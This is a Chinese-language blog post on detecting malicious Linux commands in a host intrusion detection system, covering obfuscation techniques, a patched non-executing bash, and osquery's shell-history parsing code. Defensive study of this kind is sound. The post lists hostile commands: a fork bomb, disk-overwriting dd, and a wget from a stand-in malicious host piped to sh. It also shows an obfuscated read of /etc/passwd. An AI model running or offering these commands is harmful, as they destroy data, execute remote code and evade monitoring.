Linux命令混淆

Linux shell是脚本语言,有很多变种的执行方式。例如cat /etc/passwd就可以改成如下形式:

1
cat $(echo /e)tc$(echo /pa*)wd

其他绕过方式可以查看参考链接

混淆方式

根据开源的命令混淆器,来总结下混淆的几种方式。

五种类型突变:

  1. 命令混淆
    • 利用Linux环境中的命令或二进制文件行为的简单混淆器
    • 混淆整个输入在一个块中
  2. 字符混淆
    • 使用更高级特性/二进制的模糊处理程序
    • 将输入分解成块,对这些块进行混淆,然后通过串联所有不同混淆块的标准输出来构建输入
  3. token混淆
    • 利用Bash功能或行为混淆命令
    • 通常不使用任何外部二进制文件
    • 混淆整个输入在一个块中
  4. 编码
    • 对整个输入进行编码,并使用存根对其进行解码。
  5. 压缩
    • 使用Linux环境中常见的各种压缩器,使用存根压缩并解压缩输入

使用-l选项可以列出所有的突变模块,并给出了大小和时间级别、描述等。

Command Obfuscators:

​ Name: Case Swapper

​ Description: 相互转换所有大小写字符

​ Name: Reverse

​ Description: 反转一个命令

String Obfuscators:

​ Name: File Glob

​ Description: 使用文件和glob排序重新组装字符串

​ Name: Folder Glob

​ Description: 使用文件和glob排序重新组装字符串

​ Name: Hex Hash

​ Description: 使用md5的输出对字符串进行编码

Token Obfuscators:

​ Name: ForCode

​ Description: 打乱命令并在一个循环里恢复

​ Name: Special Char Only

​ Description: 将命令转换为只使用特殊字符

Encoders:

​ Name: Base64

​ Description: Base64编码命令

​ Name: RotN

​ Description: 在ASCII字符集中将每个字符偏移随机次数

​ Name: Xor Non Null

​ Description: 使用perl中的xor运算符对字符串进行编码

Compressors:

​ Name: Bzip2

​ Description: 使用bzip2压缩命令

​ Name: Gzip

​ Description: 使用gzip压缩命令

bash 调试功能

经常使用shell的,大家都应该知道 sh -x 这个命令,sh其实是bash的软连接,本质上还是调用的bash。sh -x可以打印出shell脚本的运行过程,这样就可以看到真正的执行命令,但是有一点不好,就是它真的会把命令执行起来。用它作为沙箱不合适,不仅浪费了检测的时间,还有可能被反调试

那我们的想法便是使用阉割版的bash,仅把命令打印出来但不执行。实现这一功能需要去修改源码后重新编译。可以参考:https://cloud.tencent.com/developer/article/1369290

恶意命令

参考: https://techviral.net/dangerous-linux-commands/

  1. :(){:|:&};:
  2. [command] > /dev/sda
  3. wget http://malicious.com -O | sh
  4. curl -s http://malicious.com
  5. dd if=something of=/dev/sda
  6. python -c "[command]"|perl -e "[command]"

crontab命令检测

这个信息在信息搜集模块搜集过,只要对每一条crontab匹配规则即可。

bash命令检测

通过源码HOOK

之前也讲过可以使用history命令查看历史记录,但是很容易被绕过,并且搜集不完整。这边提供两种思路搜集命令:

  1. 如果服务器是通过跳板机登录的,这个就好办了,跳板机会记录所有机器的操作命令,这样统一扫描就很方便。
  2. 第一种情况在运维环境比较可能,线上环境并非都通过跳板机登录的。这种情况可以上面类似的思路,修改bash源码来进行记录。 具体参考https://blog.51cto.com/koumm/1763145,通过修改bash的源码,把执行的命令通过[syslog](https://www.thegeekdiary.com/linux-os-service-syslog/)发送给服务端

第二种情况也存在弊端,一是bash版本需要统一管理(母盘设置,初始化时其他系统继承母盘),二是linux中还存在其他shell,需要也要hook源码,不然其他shell命令就无法记录了。

osquery检测逻辑

再看看知名开源hids框架[osquery](https://common.cnblogs.com/editor/tiny_mce/plugins/preview/ https://www.freebuf.com/column/162604.html )是怎么检测的(毕竟facebook官方开源的,很有借鉴意义):

遍历所有的用户,拿到uidgiddirectory。之后调用genShellHistoryForUser()获取用户的shell记录genShellHistoryFromBashSessions()genShellHistoryForUser()作用类似。

genShellHistoryForUser():

1
void genShellHistoryForUser(const std::string& uid, const std::string& gid, const std::string& directory, QueryData& results) {
2
    auto dropper = DropPrivileges::get();
3
    if (!dropper->dropTo(uid, gid)) {
4
        VLOG(1) << "Cannot drop privileges to UID " << uid;
5
        return;
6
    }
7
8
    for (const auto& hfile : kShellHistoryFiles) {
9
        boost::filesystem::path history_file = directory;
10
        history_file /= hfile;
11
        genShellHistoryFromFile(uid, history_file, results);
12
    }
13
}

可以看到在执行之前调用了:

1
auto dropper = DropPrivileges::get();
2
if (!dropper->dropTo(uid, gid)) {
3
    VLOG(1) << "Cannot drop privileges to UID " << uid;
4
    return;
5
}

为什么对giduid降权, osquery一般都是使用root权限运行的,如果攻击者在.bash_history中注入了一段恶意的shellcode代码。那么当osquery读到了这个文件之后,攻击者就能够获取到root权限了,所以通过降权的方式就能够很好地避免这样的问题。

之后遍历kShellHistoryFiles文件,执行genShellHistoryFromFile()代码。kShellHistoryFiles在之前已经定义,内容是:

1
const std::vector<std::string> kShellHistoryFiles = {
2
    ".bash_history", ".zsh_history", ".zhistory", ".history", ".sh_history",
3
};

可以发现其实在kShellHistoryFiles定义的就是常见的bash用于记录shell history目录的文件。最后调用genShellHistoryFromFile()读取.history文件,解析数据。

1
void genShellHistoryFromFile(const std::string& uid, const boost::filesystem::path& history_file, QueryData& results) {
2
    std::string history_content;
3
    if (forensicReadFile(history_file, history_content).ok()) {
4
        auto bash_timestamp_rx = xp::sregex::compile("^#(?P<timestamp>[0-9]+)$");
5
        auto zsh_timestamp_rx = xp::sregex::compile("^: {0,10}(?P<timestamp>[0-9]{1,11}):[0-9]+;(?P<command>.*)$");
6
        std::string prev_bash_timestamp;
7
        for (const auto& line : split(history_content, "\n")) {
8
            xp::smatch bash_timestamp_matches;
9
            xp::smatch zsh_timestamp_matches;
10
11
            if (prev_bash_timestamp.empty() &&
12
                xp::regex_search(line, bash_timestamp_matches, bash_timestamp_rx)) {
13
                prev_bash_timestamp = bash_timestamp_matches["timestamp"];
14
                continue;
15
            }
16
17
            Row r;
18
19
            if (!prev_bash_timestamp.empty()) {
20
                r["time"] = INTEGER(prev_bash_timestamp);
21
                r["command"] = line;
22
                prev_bash_timestamp.clear();
23
            } else if (xp::regex_search(
24
                    line, zsh_timestamp_matches, zsh_timestamp_rx)) {
25
                std::string timestamp = zsh_timestamp_matches["timestamp"];
26
                r["time"] = INTEGER(timestamp);
27
                r["command"] = zsh_timestamp_matches["command"];
28
            } else {
29
                r["time"] = INTEGER(0);
30
                r["command"] = line;
31
            }
32
33
            r["uid"] = uid;
34
            r["history_file"] = history_file.string();
35
            results.push_back(r);
36
        }
37
    }
38
}

整个代码逻辑非常地清晰。

  1. forensicReadFile(history_file, history_content)读取文件内容。
  2. 定义bash_timestamp_rxzsh_timestamp_rx的正则表达式,用于解析对应的.history文件的内容。 for (const auto& line : split(history_content, "\n"))读取文件的每一行,分别利用bash_timestamp_rxzsh_timestamp_rx解析每一行的内容。
  3. Row r;...;r["history_file"] = history_file.string();results.push_back(r);将解析之后的内容写入到Row中返回。

genShellHistoryFromBashSessions()获取历史命令的方法比较简单。

  1. 获取到.bash_sessions/*.history所有的文件;
  2. 同样调用genShellHistoryFromFile(uid, history_file, results);方法获取到历史命令;

总结

一个检测项可能有多种的是实现方法,没有最好的方法,只有最适合的方法。选择哪种实现方式,还是要根据实际的情况来做衡量。

单项检测可能无法做到尽善尽美,所以HIDS也是一种纵深检测的思路,后续介绍的命令执行检测的策略和bash历史命令检测相辅相成,相互补充。

参考:

http://caffeinesecurity.blogspot.com/2011/09/guide-to-malicious-linuxunix-commands.html

https://techviral.net/dangerous-linux-commands/

https://blog.spoock.com/2018/11/29/osquery-source-analysis-shell-history/

https://chybeta.github.io/2017/08/15/命令执行的一些绕过技巧/

https://www.smi1e.top/命令注入绕过姿势/